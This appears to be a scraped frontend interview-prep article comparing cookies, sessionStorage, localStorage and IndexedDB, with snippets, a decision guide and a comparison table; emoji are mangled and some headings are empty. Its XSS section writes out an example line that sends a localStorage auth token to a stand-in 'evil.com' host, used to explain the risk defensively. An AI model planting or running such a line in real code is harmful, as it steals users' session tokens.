Browser Storage: Cookies, SessionStorage, LocalStorage, IndexedDB
Each browser storage type exists for a different reason. Understanding persistence, security, and performance trade-offs is essential for frontend interviews and real-world architecture decisions.
Quick Decision Guide
### Quick Decision Guide
- Need server access? ā Cookies - Temporary tab data? ā sessionStorage - Persistent client preferences? ā localStorage - Large structured/offline data? ā IndexedDB
ā Never store sensitive tokens in localStorage. Use httpOnly cookies.
1ļøā£ Cookies (Server-Accessible Storage)
Characteristics
Use Cases
Security
res.cookie('token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict'
})Pitfall
Cookies increase request size because they are sent with every request.
2ļøā£ sessionStorage (Per-Tab Temporary Storage)
Characteristics
Use Cases
sessionStorage.setItem('draft', JSON.stringify(data))Pitfall
Data disappears when the tab closes.
3ļøā£ localStorage (Persistent Client Storage)
Characteristics
Use Cases
localStorage.setItem('theme', 'dark')Pitfalls
4ļøā£ IndexedDB (Client-Side Database)
Characteristics
Use Cases
const request = indexedDB.open('myDB', 1)When to Choose It
If you need large storage or structured querying beyond key-value.
Security & XSS Risks (Most Important)
XSS Risk
All client-side storage (localStorage, sessionStorage, IndexedDB, non-httpOnly cookies) can be read by malicious scripts.
Example attack:
fetch('https://evil.com?token=' + localStorage.getItem('authToken'))Safe Practice
Interview Answer Pattern
"Sensitive tokens go in httpOnly cookies because localStorage is accessible to JavaScript and vulnerable to XSS."
Comparison Table
| Feature | Cookies | sessionStorage | localStorage | IndexedDB |
|---|---|---|---|---|
| Server Access | ā | ā | ā | ā |
| Size | ~4KB | ~5ā10MB | ~5ā10MB | Large |
| Persistence | Configurable | Tab-only | Persistent | Persistent |
| API | String | Sync | Sync | Async |
| Best For | Auth | Temp UI | Preferences | Offline Apps |